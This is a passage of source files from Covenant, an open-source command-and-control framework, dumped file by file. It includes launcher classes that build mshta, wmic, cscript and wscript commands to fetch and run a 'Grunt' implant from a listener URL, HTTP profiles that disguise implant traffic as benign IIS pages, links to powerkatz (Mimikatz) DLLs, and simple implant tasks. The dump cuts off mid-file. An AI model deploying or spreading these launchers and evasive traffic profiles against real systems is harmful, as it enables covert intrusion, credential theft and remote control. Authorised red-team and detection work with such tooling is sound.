/Covenant/Data/AssemblyReferences/net35/System.XML.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net35/System.XML.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net35/System.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net35/System.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net35/mscorlib.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net35/mscorlib.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net40/System.Configuration.Install.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net40/System.Configuration.Install.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net40/System.Core.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net40/System.Core.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net40/System.Data.DataSetExtensions.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net40/System.Data.DataSetExtensions.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net40/System.Data.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net40/System.Data.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net40/System.DirectoryServices.AccountManagement.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net40/System.DirectoryServices.AccountManagement.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net40/System.DirectoryServices.Protocols.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net40/System.DirectoryServices.Protocols.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net40/System.DirectoryServices.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net40/System.DirectoryServices.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net40/System.Drawing.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net40/System.Drawing.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net40/System.IdentityModel.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net40/System.IdentityModel.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net40/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net40/System.Management.Automation.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net40/System.Management.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net40/System.Management.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net40/System.Security.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net40/System.Security.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net40/System.ServiceProcess.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net40/System.ServiceProcess.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net40/System.Web.Extensions.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net40/System.Web.Extensions.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net40/System.Windows.Forms.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net40/System.Windows.Forms.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net40/System.XML.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net40/System.XML.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net40/System.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net40/System.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net40/mscorlib.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net40/mscorlib.dll -------------------------------------------------------------------------------- /Covenant/Data/Downloads/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore 3 | -------------------------------------------------------------------------------- /Covenant/Data/EmbeddedResources/SharpSploit.Resources.powerkatz_x64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/EmbeddedResources/SharpSploit.Resources.powerkatz_x64.dll -------------------------------------------------------------------------------- /Covenant/Data/EmbeddedResources/SharpSploit.Resources.powerkatz_x86.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/EmbeddedResources/SharpSploit.Resources.powerkatz_x86.dll -------------------------------------------------------------------------------- /Covenant/Data/Grunt/.gitignore: -------------------------------------------------------------------------------- 1 | /* 2 | /*/ 3 | !.gitignore 4 | !/GruntHTTP/ 5 | !/GruntSMB/ 6 | !/GruntBridge/ 7 | !/Brute/ 8 | -------------------------------------------------------------------------------- /Covenant/Data/Grunt/Brute/Brute/.gitignore: -------------------------------------------------------------------------------- 1 | Brute.cs 2 | [Bb]in/ 3 | [Oo]bj/ 4 | -------------------------------------------------------------------------------- /Covenant/Data/Grunt/Brute/Brute/Brute.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | library 5 | netcoreapp3.1 6 | win-x64 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /Covenant/Data/Grunt/Brute/Brute/Brute.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Brute", "Brute.csproj", "{F29911E3-572D-44CE-B9BA-3B9A26EC2842}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Any CPU = Debug|Any CPU 9 | Release|Any CPU = Release|Any CPU 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {F29911E3-572D-44CE-B9BA-3B9A26EC2842}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 13 | {F29911E3-572D-44CE-B9BA-3B9A26EC2842}.Debug|Any CPU.Build.0 = Debug|Any CPU 14 | {F29911E3-572D-44CE-B9BA-3B9A26EC2842}.Release|Any CPU.ActiveCfg = Release|Any CPU 15 | {F29911E3-572D-44CE-B9BA-3B9A26EC2842}.Release|Any CPU.Build.0 = Release|Any CPU 16 | EndGlobalSection 17 | EndGlobal 18 | -------------------------------------------------------------------------------- /Covenant/Data/Grunt/Brute/BruteStager/.gitignore: -------------------------------------------------------------------------------- 1 | BruteStager.cs 2 | [Bb]in/ 3 | [Oo]bj/ 4 | -------------------------------------------------------------------------------- /Covenant/Data/Grunt/Brute/BruteStager/BruteStager.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Exe 5 | netcoreapp3.1 6 | true 7 | true 8 | win-x64 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /Covenant/Data/Grunt/Brute/BruteStager/BruteStager.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BruteStager", "BruteStager.csproj", "{F29911E3-572D-44CE-B9BA-3B9A26EC2842}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Any CPU = Debug|Any CPU 9 | Release|Any CPU = Release|Any CPU 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {F29911E3-572D-44CE-B9BA-3B9A26EC2842}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 13 | {F29911E3-572D-44CE-B9BA-3B9A26EC2842}.Debug|Any CPU.Build.0 = Debug|Any CPU 14 | {F29911E3-572D-44CE-B9BA-3B9A26EC2842}.Release|Any CPU.ActiveCfg = Release|Any CPU 15 | {F29911E3-572D-44CE-B9BA-3B9A26EC2842}.Release|Any CPU.Build.0 = Release|Any CPU 16 | EndGlobalSection 17 | EndGlobal 18 | -------------------------------------------------------------------------------- /Covenant/Data/Grunt/Brute/Task/.gitignore: -------------------------------------------------------------------------------- 1 | Task.cs 2 | Task.csproj 3 | .vs/ 4 | [Bb]in/ 5 | [Oo]bj/ 6 | -------------------------------------------------------------------------------- /Covenant/Data/Grunt/Brute/Task/Task.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Task", "Task.csproj", "{6A26573A-964D-4025-A105-2F729D9FF0FA}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Any CPU = Debug|Any CPU 9 | Release|Any CPU = Release|Any CPU 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {6A26573A-964D-4025-A105-2F729D9FF0FA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 13 | {6A26573A-964D-4025-A105-2F729D9FF0FA}.Debug|Any CPU.Build.0 = Debug|Any CPU 14 | {6A26573A-964D-4025-A105-2F729D9FF0FA}.Release|Any CPU.ActiveCfg = Release|Any CPU 15 | {6A26573A-964D-4025-A105-2F729D9FF0FA}.Release|Any CPU.Build.0 = Release|Any CPU 16 | EndGlobalSection 17 | EndGlobal 18 | -------------------------------------------------------------------------------- /Covenant/Data/Launchers/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore 3 | -------------------------------------------------------------------------------- /Covenant/Data/Listeners/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore 3 | -------------------------------------------------------------------------------- /Covenant/Data/Profiles/CustomHttpProfile.yaml: -------------------------------------------------------------------------------- 1 | # Author: Ryan Cobb (@cobbr_io) 2 | # Project: Covenant (https://github.com/cobbr/Covenant) 3 | # License: GNU GPLv3 4 | 5 | Name: CustomHttpProfile 6 | Description: A custom profile that does not require any cookies. 7 | MessageTransform: | 8 | public static class MessageTransform 9 | { 10 | public static string Transform(byte[] bytes) 11 | { 12 | return System.Convert.ToBase64String(bytes); 13 | } 14 | public static byte[] Invert(string str) 15 | { 16 | return System.Convert.FromBase64String(str); 17 | } 18 | } 19 | HttpUrls: 20 | - /en-us/index.html?page={GUID}&v=1 21 | - /en-us/docs.html?type={GUID}&v=1 22 | - /en-us/test.html?message={GUID}&v=1 23 | HttpRequestHeaders: 24 | - Name: User-Agent 25 | Value: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 26 | HttpPostRequest: | 27 | i=a19ea23062db990386a3a478cb89d52e&data={DATA}&session=75db-99b1-25fe4e9afbe58696-320bea73 28 | HttpResponseHeaders: 29 | - Name: Server 30 | Value: Microsoft-IIS/7.5 31 | HttpGetResponse: | 32 | 33 | 34 | Hello World! 35 | 36 | 37 |

Hello World!

38 | // Hello World! {DATA} 39 | 40 | 41 | HttpPostResponse: | 42 | 43 | 44 | Hello World! 45 | 46 | 47 |

Hello World!

48 | // Hello World! {DATA} 49 | 50 | 51 | -------------------------------------------------------------------------------- /Covenant/Data/Profiles/DefaultHttpProfile.yaml: -------------------------------------------------------------------------------- 1 | # Author: Ryan Cobb (@cobbr_io) 2 | # Project: Covenant (https://github.com/cobbr/Covenant) 3 | # License: GNU GPLv3 4 | 5 | Name: DefaultHttpProfile 6 | Description: A default profile. 7 | MessageTransform: | 8 | public static class MessageTransform 9 | { 10 | public static string Transform(byte[] bytes) 11 | { 12 | return System.Convert.ToBase64String(bytes); 13 | } 14 | public static byte[] Invert(string str) { 15 | return System.Convert.FromBase64String(str); 16 | } 17 | } 18 | HttpUrls: 19 | - /en-us/index.html 20 | - /en-us/docs.html 21 | - /en-us/test.html 22 | HttpRequestHeaders: 23 | - Name: User-Agent 24 | Value: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 25 | - Name: Cookie 26 | Value: ASPSESSIONID={GUID}; SESSIONID=1552332971750 27 | HttpPostRequest: | 28 | i=a19ea23062db990386a3a478cb89d52e&data={DATA}&session=75db-99b1-25fe4e9afbe58696-320bea73 29 | HttpResponseHeaders: 30 | - Name: Server 31 | Value: Microsoft-IIS/7.5 32 | HttpGetResponse: | 33 | 34 | 35 | Hello World! 36 | 37 | 38 |

Hello World!

39 | // Hello World! {DATA} 40 | 41 | 42 | HttpPostResponse: | 43 | 44 | 45 | Hello World! 46 | 47 | 48 |

Hello World!

49 | // Hello World! {DATA} 50 | 51 | 52 | -------------------------------------------------------------------------------- /Covenant/Data/Static/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore 3 | -------------------------------------------------------------------------------- /Covenant/Data/Tasks/CSharp/Compiled/net35/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore 3 | -------------------------------------------------------------------------------- /Covenant/Data/Tasks/CSharp/Compiled/net40/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore 3 | -------------------------------------------------------------------------------- /Covenant/Data/Tasks/CSharp/Compiled/netcoreapp3.0/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore 3 | -------------------------------------------------------------------------------- /Covenant/Data/Tasks/CSharp/netcoreapp3.0/ChangeDirectory.task: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | 4 | public static class Task 5 | { 6 | public static string Execute(string DirectoryName) 7 | { 8 | try 9 | { 10 | Directory.SetCurrentDirectory(DirectoryName); 11 | return Directory.GetCurrentDirectory(); 12 | } 13 | catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } 14 | } 15 | } -------------------------------------------------------------------------------- /Covenant/Data/Tasks/CSharp/netcoreapp3.0/WhoAmI.task: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | public static class Task 4 | { 5 | public static string Execute() 6 | { 7 | try 8 | { 9 | return Environment.UserDomainName + "\\" + Environment.UserName; 10 | } 11 | catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } 12 | } 13 | } -------------------------------------------------------------------------------- /Covenant/Data/Temp/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore 3 | -------------------------------------------------------------------------------- /Covenant/Data/appsettings.json: -------------------------------------------------------------------------------- 1 | { 2 | "JwtKey": "[KEY USED TO SIGN/VERIFY JWT TOKENS, ALWAYS REPLACE THIS VALUE]", 3 | "JwtIssuer": "Covenant", 4 | "JwtAudience": "Covenant", 5 | "JwtExpireDays": 100, 6 | "TrustedProxies": "127.0.0.1" 7 | } 8 | -------------------------------------------------------------------------------- /Covenant/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM mcr.microsoft.com/dotnet/core/sdk:3.1 AS build 2 | WORKDIR /app 3 | 4 | COPY . ./ 5 | RUN dotnet publish -c Release -o out 6 | 7 | FROM mcr.microsoft.com/dotnet/core/sdk:3.1 AS runtime 8 | WORKDIR /app 9 | COPY --from=build /app/out . 10 | COPY ./Data ./Data 11 | EXPOSE 7443 80 443 12 | ENTRYPOINT ["dotnet", "Covenant.dll"] 13 | -------------------------------------------------------------------------------- /Covenant/Hubs/CommandOutputHub.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: Covenant (https://github.com/cobbr/Covenant) 3 | // License: GNU GPLv3 4 | 5 | using System.Threading.Tasks; 6 | 7 | using Microsoft.AspNetCore.SignalR; 8 | using Microsoft.AspNetCore.Authorization; 9 | 10 | namespace Covenant.Hubs 11 | { 12 | [Authorize] 13 | public class CommandOutputHub : Hub 14 | { 15 | public async Task JoinGroup(string context) 16 | { 17 | await Groups.AddToGroupAsync(Context.ConnectionId, context); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /Covenant/Hubs/EventHub.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: Covenant (https://github.com/cobbr/Covenant) 3 | // License: GNU GPLv3 4 | 5 | using System.Threading.Tasks; 6 | 7 | using Microsoft.AspNetCore.SignalR; 8 | using Microsoft.AspNetCore.Authorization; 9 | 10 | using Covenant.Core; 11 | 12 | namespace Covenant.Hubs 13 | { 14 | [Authorize] 15 | public class EventHub : Hub 16 | { 17 | public async Task JoinGroup(string context) 18 | { 19 | await Groups.AddToGroupAsync(Context.ConnectionId, context); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /Covenant/Hubs/GruntCommandHub.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: Covenant (https://github.com/cobbr/Covenant) 3 | // License: GNU GPLv3 4 | 5 | using System.Threading.Tasks; 6 | 7 | using Microsoft.AspNetCore.SignalR; 8 | using Microsoft.AspNetCore.Authorization; 9 | 10 | namespace Covenant.Hubs 11 | { 12 | [Authorize] 13 | public class GruntCommandHub : Hub 14 | { 15 | public async Task JoinGroup(string context) 16 | { 17 | await Groups.AddToGroupAsync(Context.ConnectionId, context); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /Covenant/Hubs/GruntTaskingHub.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: Covenant (https://github.com/cobbr/Covenant) 3 | // License: GNU GPLv3 4 | 5 | using System.Threading.Tasks; 6 | 7 | using Microsoft.AspNetCore.SignalR; 8 | using Microsoft.AspNetCore.Authorization; 9 | 10 | namespace Covenant.Hubs 11 | { 12 | [Authorize] 13 | public class GruntTaskingHub : Hub 14 | { 15 | public async Task JoinGroup(string context) 16 | { 17 | await Groups.AddToGroupAsync(Context.ConnectionId, context); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /Covenant/Models/Covenant/CovenantUser.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: Covenant (https://github.com/cobbr/Covenant) 3 | // License: GNU GPLv3 4 | 5 | using System; 6 | using System.ComponentModel.DataAnnotations; 7 | 8 | using Microsoft.AspNetCore.Identity; 9 | 10 | namespace Covenant.Models.Covenant 11 | { 12 | public class CovenantUser : IdentityUser 13 | { 14 | public CovenantUser() : base() 15 | { 16 | this.Email = ""; 17 | this.NormalizedEmail = ""; 18 | this.PhoneNumber = ""; 19 | this.LockoutEnd = DateTime.UnixEpoch; 20 | this.ThemeId = 1; 21 | } 22 | 23 | public int ThemeId { get; set; } 24 | public Theme Theme { get; set; } 25 | } 26 | 27 | public class CovenantUserLogin 28 | { 29 | public string Id { get; set; } 30 | [Required] 31 | public string UserName { get; set; } 32 | [Required] 33 | public string Password { get; set; } 34 | } 35 | 36 | public class CovenantUserRegister : CovenantUserLogin 37 | { 38 | [Required] 39 | public string ConfirmPassword { get; set; } 40 | } 41 | 42 | public class CovenantUserLoginResult 43 | { 44 | public bool Success { get; set; } = true; 45 | public string CovenantToken { get; set; } = default; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /Covenant/Models/Launchers/BinaryLauncher.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: Covenant (https://github.com/cobbr/Covenant) 3 | // License: GNU GPLv3 4 | 5 | using System; 6 | using System.Linq; 7 | using Microsoft.CodeAnalysis; 8 | 9 | using Covenant.Models.Listeners; 10 | using Covenant.Models.Grunts; 11 | 12 | namespace Covenant.Models.Launchers 13 | { 14 | public class BinaryLauncher : Launcher 15 | { 16 | public BinaryLauncher() 17 | { 18 | this.Type = LauncherType.Binary; 19 | this.Description = "Uses a generated .NET Framework binary to launch a Grunt."; 20 | this.Name = "Binary"; 21 | this.OutputKind = OutputKind.ConsoleApplication; 22 | this.CompressStager = false; 23 | } 24 | 25 | public override string GetLauncher(string StagerCode, byte[] StagerAssembly, Grunt grunt, ImplantTemplate template) 26 | { 27 | this.StagerCode = StagerCode; 28 | this.Base64ILByteString = Convert.ToBase64String(StagerAssembly); 29 | this.LauncherString = template.Name + ".exe"; 30 | return this.LauncherString; 31 | } 32 | 33 | public override string GetHostedLauncher(Listener listener, HostedFile hostedFile) 34 | { 35 | HttpListener httpListener = (HttpListener)listener; 36 | if (httpListener != null) 37 | { 38 | Uri hostedLocation = new Uri(httpListener.Urls.FirstOrDefault() + hostedFile.Path); 39 | this.LauncherString = hostedFile.Path.Split("\\").Last().Split("/").Last(); 40 | return hostedLocation.ToString(); 41 | } 42 | else { return ""; } 43 | } 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /Covenant/Models/Launchers/CscriptLauncher.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: Covenant (https://github.com/cobbr/Covenant) 3 | // License: GNU GPLv3 4 | 5 | using System; 6 | using System.Linq; 7 | using Microsoft.CodeAnalysis; 8 | 9 | using Covenant.Models.Listeners; 10 | 11 | namespace Covenant.Models.Launchers 12 | { 13 | public class CscriptLauncher : ScriptletLauncher 14 | { 15 | public CscriptLauncher() 16 | { 17 | this.Name = "Cscript"; 18 | this.Type = LauncherType.Cscript; 19 | this.Description = "Uses cscript.exe to launch a Grunt using a COM activated Delegate and ActiveXObjects (ala DotNetToJScript). Please note that DotNetToJScript-based launchers may not work on Windows 10 and Windows Server 2016."; 20 | this.ScriptType = ScriptletType.Plain; 21 | this.OutputKind = OutputKind.DynamicallyLinkedLibrary; 22 | this.CompressStager = false; 23 | } 24 | 25 | protected override string GetLauncher() 26 | { 27 | string launcher = "cscript" + " " + "file.js"; 28 | this.LauncherString = launcher; 29 | return this.LauncherString; 30 | } 31 | 32 | public override string GetHostedLauncher(Listener listener, HostedFile hostedFile) 33 | { 34 | HttpListener httpListener = (HttpListener)listener; 35 | if (httpListener != null) 36 | { 37 | string launcher = "cscript" + " " + hostedFile.Path.Split('/').Last(); 38 | this.LauncherString = launcher; 39 | return launcher; 40 | } 41 | else { return ""; } 42 | } 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /Covenant/Models/Launchers/MshtaLauncher.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: Covenant (https://github.com/cobbr/Covenant) 3 | // License: GNU GPLv3 4 | 5 | using System; 6 | using System.Linq; 7 | using Microsoft.CodeAnalysis; 8 | 9 | using Covenant.Models.Listeners; 10 | 11 | namespace Covenant.Models.Launchers 12 | { 13 | public class MshtaLauncher : ScriptletLauncher 14 | { 15 | public MshtaLauncher() 16 | { 17 | this.Name = "Mshta"; 18 | this.Type = LauncherType.Mshta; 19 | this.Description = "Uses mshta.exe to launch a Grunt using a COM activated Delegate and ActiveXObjects (ala DotNetToJScript). Please note that DotNetToJScript-based launchers may not work on Windows 10 and Windows Server 2016."; 20 | this.ScriptType = ScriptletType.TaggedScript; 21 | this.OutputKind = OutputKind.DynamicallyLinkedLibrary; 22 | this.CompressStager = false; 23 | } 24 | 25 | protected override string GetLauncher() 26 | { 27 | string launcher = "mshta" + " " + "file.hta"; 28 | this.LauncherString = launcher; 29 | return this.LauncherString; 30 | } 31 | 32 | public override string GetHostedLauncher(Listener listener, HostedFile hostedFile) 33 | { 34 | HttpListener httpListener = (HttpListener)listener; 35 | if (httpListener != null) 36 | { 37 | Uri hostedLocation = new Uri(httpListener.Urls.FirstOrDefault() + hostedFile.Path); 38 | string launcher = "mshta" + " " + hostedLocation; 39 | this.LauncherString = launcher; 40 | return launcher; 41 | } 42 | else { return ""; } 43 | } 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /Covenant/Models/Launchers/WmicLauncher.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: Covenant (https://github.com/cobbr/Covenant) 3 | // License: GNU GPLv3 4 | 5 | using System; 6 | using System.Linq; 7 | using Microsoft.CodeAnalysis; 8 | 9 | using Covenant.Models.Listeners; 10 | 11 | namespace Covenant.Models.Launchers 12 | { 13 | public class WmicLauncher : ScriptletLauncher 14 | { 15 | public WmicLauncher() 16 | { 17 | this.Name = "Wmic"; 18 | this.Type = LauncherType.Wmic; 19 | this.Description = "Uses wmic.exe to launch a Grunt using a COM activated Delegate and ActiveXObjects (ala DotNetToJScript). Please note that DotNetToJScript-based launchers may not work on Windows 10 and Windows Server 2016."; 20 | this.ScriptType = ScriptletType.Stylesheet; 21 | this.OutputKind = OutputKind.DynamicallyLinkedLibrary; 22 | this.CompressStager = false; 23 | } 24 | protected override string GetLauncher() 25 | { 26 | string launcher = "wmic os get /format:\"" + "file.xsl" + "\""; 27 | this.LauncherString = launcher; 28 | return this.LauncherString; 29 | } 30 | 31 | public override string GetHostedLauncher(Listener listener, HostedFile hostedFile) 32 | { 33 | HttpListener httpListener = (HttpListener)listener; 34 | if (httpListener != null) 35 | { 36 | Uri hostedLocation = new Uri(httpListener.Urls.FirstOrDefault() + hostedFile.Path); 37 | string launcher = "wmic os get /format:\"" + hostedLocation + "\""; 38 | this.LauncherString = launcher; 39 | return launcher; 40 | } 41 | else { return ""; } 42 | } 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /Covenant/Models/Launchers/WscriptLauncher.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: Covenant (https://github.com/cobbr/Covenant) 3 | // License: GNU GPLv3 4 | 5 | using System.Linq; 6 | using Microsoft.CodeAnalysis; 7 | 8 | using Covenant.Models.Listeners; 9 | 10 | namespace Covenant.Models.Launchers 11 | { 12 | public class WscriptLauncher : ScriptletLauncher 13 | { 14 | public WscriptLauncher() 15 | { 16 | this.Name = "Wscript"; 17 | this.Type = LauncherType.Wscript; 18 | this.Description = "Uses wscript.exe to launch a Grunt using a COM activated Delegate and ActiveXObjects (ala DotNetToJScript). Please note that DotNetToJScript-based launchers may not work on Windows 10 and Windows Server 2016."; 19 | this.ScriptType = ScriptletType.Plain; 20 | this.OutputKind = OutputKind.DynamicallyLinkedLibrary; 21 | this.CompressStager = false; 22 | } 23 | 24 | protected override string GetLauncher() 25 | { 26 | string launcher = "wscript" + " " + "file.js"; 27 | this.LauncherString = launcher; 28 | return this.LauncherString; 29 | } 30 | 31 | public override string GetHostedLauncher(Listener listener, HostedFile hostedFile) 32 | { 33 | HttpListener httpListener = (HttpListener)listener; 34 | if (httpListener != null) 35 | { 36 | string launcher = "wscript" + " " + hostedFile.Path.Split('/').Last(); 37 | this.LauncherString = launcher; 38 | return launcher; 39 | } 40 | return ""; 41 | } 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /Covenant/Pages/Logout.cshtml: -------------------------------------------------------------------------------- 1 | @page "/covenantuser/logout" 2 | @using Microsoft.AspNetCore.Identity 3 | @using Covenant.Models.Covenant 4 | @inject SignInManager SignInManager 5 | @model Covenant.Pages.LogoutModel -------------------------------------------------------------------------------- /Covenant/Pages/Logout.cshtml.cs: -------------------------------------------------------------------------------- 1 | using System.Threading.Tasks; 2 | using Microsoft.AspNetCore.Mvc; 3 | using Microsoft.AspNetCore.Mvc.RazorPages; 4 | using Microsoft.AspNetCore.Identity; 5 | using Covenant.Models.Covenant; 6 | 7 | namespace Covenant.Pages 8 | { 9 | public class LogoutModel : PageModel 10 | { 11 | private readonly SignInManager _signInManager; 12 | 13 | public LogoutModel(SignInManager signInManager) 14 | { 15 | _signInManager = signInManager; 16 | } 17 | 18 | public async Task OnGetAsync() 19 | { 20 | await 